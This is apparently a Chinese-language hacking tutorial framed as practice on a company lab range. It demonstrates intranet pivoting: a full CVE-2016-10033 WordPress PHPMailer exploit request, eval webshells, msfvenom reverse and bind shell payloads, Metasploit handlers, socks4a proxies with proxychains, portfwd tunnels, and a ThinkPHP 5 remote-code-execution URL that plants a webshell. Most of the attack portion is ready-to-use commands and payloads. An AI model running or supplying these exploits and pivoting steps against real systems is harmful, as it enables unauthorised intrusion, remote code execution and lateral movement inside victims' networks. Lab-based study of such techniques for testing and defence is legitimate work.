10.09 黑客必學知識點--”什麼是內網穿透“詳解

黑客必學知識點--”什麼是內網穿透“詳解

在平時護網比賽中,攻堅環境中,滲透測試中,做內網穿透使用的工具有很多如:EWCobalt Strike 為了方便小白入門,本次教程通過滲透過程中最常用的MSF攻擊框架中socks4做內網穿透代理,實現內網橫向滲透。

用本公司的靶場,模擬一個攻堅小場景:

外網IP:112.115.*.* (一臺存在wordpress漏洞的web服務器)

內網:10.0.0.0/24 (模擬開發人員,一臺為weblogic漏洞機器,一臺為thinkphp漏洞機器)

滲透思路:用MSF對wordpress漏洞進行反彈shell,發現機器位於一個內網,建立socks4線路,橫向掃描並對內網其他機器進行滲透並反彈shell

由於socks4做穿透超過3層就會失去流量速度,所以後期我會寫一篇用EW或其他穿透工具做多網段多層穿透。

攻擊機:kali

目標機:攻堅靶場

首先開啟kali,利用Wordpress 4.6 任意命令執行漏洞,對主站服務器進行上傳一句話或,直接反彈shell(為了一些教會小白一些提權細節,所以先寫入一句話,然後在反彈msf shell)如果自己練習,可以直接msf生成shellcode扔到主站反彈shell。

0x001 主站滲透

打開主站http://122.115.*.*:8000/介紹一下這個漏洞

黑客必學知識點--”什麼是內網穿透“詳解

WordPress <= 4.6命令執行漏洞(PHPMailer)(CVE-2016-10033)
WordPress是一種使用PHP語言開發的博客平臺,用戶可以在支持PHP和MySQL數據庫的服務器上架設屬於自己的網站。也可以把WordPress用作一個內容管理系統(CMS)來使用。WordPress使用PHPMailer組件向用戶發送郵件。PHPMailer(版本<5.2.18)存在遠程命令執行漏洞,攻擊者只需輕鬆地構造出一個惡意郵箱地址,即可寫入任意文件,從而造成遠程命令執行的危害。

POC

假如目標地址為:http : //127.0.0.1 : 8000/

  1. 把下面的HTTP報文複製到BurpSuite Repeater中,單擊Go按鈕,填充目標IP和擴展(例如,IP填充127.0.0.1填充80)
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
  1. 訪問:http : //127.0.0.1 :8000/ vuln

看到返回狀態碼為200代表已經成功創建了/var/www/html/vuln文件

可在發包之前訪問該地址,會出現404

注意:

  1. 遠程URL中不要有 http://
  2. 所有字母必須小寫
  3. 所有/用${substr{0}{1}{$spool_directory}}代替
  4. 空格所有用${substr{10}{1}{$tod_log}}代替

先利用poc對主站寫入一個vuln空白頁面,測試漏洞

黑客必學知識點--”什麼是內網穿透“詳解

黑客必學知識點--”什麼是內網穿透“詳解

然後寫入一句話

黑客必學知識點--”什麼是內網穿透“詳解

用中國蟻劍連接webshell,下一步準備msf生成一個shell

黑客必學知識點--”什麼是內網穿透“詳解

黑客必學知識點--”什麼是內網穿透“詳解

在linux系統下/var/tmp目錄可以進行高權限反彈shell,打開新的一個終端輸入"msfconsole"啟動msf

黑客必學知識點--”什麼是內網穿透“詳解

新打開一個終端生成反彈shell命令

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<your> LPORT=<your> -f elf > shell.elf
/<your>/<your>
黑客必學知識點--”什麼是內網穿透“詳解

回到msf端口
msf>use exploit/multi/handler ###監聽
msf>set payload linux/x86/meterpreter/reverse_tcp ###反彈shell模塊
msf>run ###開始監聽
黑客必學知識點--”什麼是內網穿透“詳解

用webshell把生成的shell.elf上傳到/var/tmp/目錄下,chmod+x 提權(linux提權細節),在通過終端執行反彈shell

黑客必學知識點--”什麼是內網穿透“詳解

黑客必學知識點--”什麼是內網穿透“詳解

反彈shell成功,開始內網穿透

黑客必學知識點--”什麼是內網穿透“詳解

meterpreter > ipconfig ###查看網卡ip
黑客必學知識點--”什麼是內網穿透“詳解

0x002 搭建內網隧道橫向滲透

meterpreter中添加好通向對方內網的路由

meterpreter > run autoroute -s 10.0.0.0/24
meterpreter > route flush 不用的時候,記得刪掉就行
黑客必學知識點--”什麼是內網穿透“詳解

由於目標是linux的,所以直接進行下一步
如果是windows跳板機可以用以下命令進行掃描內網機器
run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24
windows:可以先通過arp掃描粗略的掃一眼目標內網的機器大概有多少

msf>background 掛後臺保持shell,開始下一步開啟代理

msf exploit(handler) > use auxiliary/server/socks4a 
msf auxiliary(socks4a) > set 127.0.0.1
msf auxiliary(socks4a) > set srvport 1080
msf auxiliary(socks4a) > run
黑客必學知識點--”什麼是內網穿透“詳解

然後apt install proxychains,我kali已經安裝了所以直接

vim /etc/proxychains.conf
黑客必學知識點--”什麼是內網穿透“詳解

添加 socks4 127.0.0.1 1080

這樣msf本地開啟socks4穿透,通過shell,轉發到跳板機的機器

proxychains nmap -sT -sV -Pn -n -p80 10.0.0.0/24 ###通過跳板機掃描內網
黑客必學知識點--”什麼是內網穿透“詳解

發現 10.0.0.0/24段有個幾臺活躍ip,新建終端:proxychains firefox ####通過代理打開火狐瀏覽器
黑客必學知識點--”什麼是內網穿透“詳解

通過web跳板機訪問到10.0.0.3,但是問題來了,目標內網有一臺漏洞主機10.0.0.3,但是用菜刀或者螞劍無法直接連接,所以有兩個辦法:

1.通過proxy代理啟動蟻劍或者菜刀 
2.目標機內網端口轉發

使用portfwd模塊(Metasploit中的一個post模塊)可完成端口轉發

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L
Forward: local host to listen on (optional). Remote: local host to connect to.
-R Indicates a reverse port forward.
-h Help banner.
-i Index of the port forward entry to interact with (see the "list" command).
-l Forward: local port to listen on. Reverse: local port to connect to.
-p Forward: remote port to connect to. Reverse: remote port to listen on.
-r Forward: remote host to connect to.

meterpreter > portfwd add -L 本地ip -l 本機端口 -p 目標內網端口 -r 目標內網

所以要建立一條線路用,msf 把本機某個端口直接轉發到目標內網端口

攻擊者本機>>>>跳板機>>>>>>目標機內網

黑客必學知識點--”什麼是內網穿透“詳解

現在無需任何代理,直接訪問本機127.0.0.1:5000 就能訪問到目標機內網

黑客必學知識點--”什麼是內網穿透“詳解

現在內網穿透拓撲結構就是

127.0.0.1:5000<>socks4:主站的shll<>內網10.0.0.3:80
本地端口 socks4 內網
127.0.0.1:5000=10.0.0.3:80

0x003 多層跳板機穿透

現在對內網10.0.0.3進行滲透和提權,也就是127.0.0.1:5000

內網10.0.0.3是一臺包含ThinkPHP5 5.0.22/5.1.29 遠程代碼執行漏洞的機器

直接訪問http://your-ip/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,即可執行phpinfo:
黑客必學知識點--”什麼是內網穿透“詳解

寫入一句話shell就是

http://your-ip//index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C?php%20@eval($_POST%5B-7%5D);?%3E

蟻劍連接shell:127.0.0.1:5000/shell.php

黑客必學知識點--”什麼是內網穿透“詳解

現在要對這臺內網機器提權msfshell,由於是內網隔離環境,所以需要使用bind_shell

在msf生成一個bind_shell開端口木馬啟動後,在做本段端口轉發過去,msf在bind連接

新起一個終端:msf生成一個bindshell的木馬(正向連接)

 msfvenom -p linux/x86/meterpreter/bind_tcp lport=9999 -f elf -o bindshell

放到通過webshell 放到/var/tmp/下加權限,啟動

黑客必學知識點--”什麼是內網穿透“詳解

現在內網10.0.0.3在9999端口開啟直接連shell權限,現在要做一個新的轉發把10.0.0.3:9999端口轉發到本地,然後msf直連

黑客必學知識點--”什麼是內網穿透“詳解

sessions 
sessions id編號
meterpreter > portfwd add -L 127.0.0.1 -l 9999 -p 10.0.0.3 -r 9999
黑客必學知識點--”什麼是內網穿透“詳解

現在內網10.0.0.3的bindshell 9999 端口 轉發到 本地127.0.0.1:9999端口了

msf進行直連shell

use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
show options
set LPORT 9999
set RHOST 127.0.0.1
run
黑客必學知識點--”什麼是內網穿透“詳解

等待連接shell

黑客必學知識點--”什麼是內網穿透“詳解

反彈shell後,只需要在10.0.0.3的shell上

use auxiliary/server/socks4a
set 127.0.0.1
set srvport 1081
run
添加一個新隧道

在/etc/proxychains.conf 中添加 socks4 127.0.0.1 1081

在proxychains nmap 掃描就是直接連接到10.0.0.3上進行轉發掃描,內網二級穿透掃描

127.0.0.1:1080<>主站跳板跳板機<>10.0.0.3跳板機<>新ip(192.168.0.1)

實現了雙跳板機內網穿透,同樣方法,要是拿到192.168.0.1的第三層內網,只需要之前的添加個端口轉發到本地,就能繼續滲透。一般內網到第二層流量很少了,繼續深層網段滲透就需要上 EW穿透神器等工具。

總結一下流程,拿到webshell,上傳木馬反彈的msf,msf做socks4的代理然後添加端口轉發,進行下一層滲透,第二層同樣繼續反彈shell,做代理,端口轉發。


分享到:


相關文章: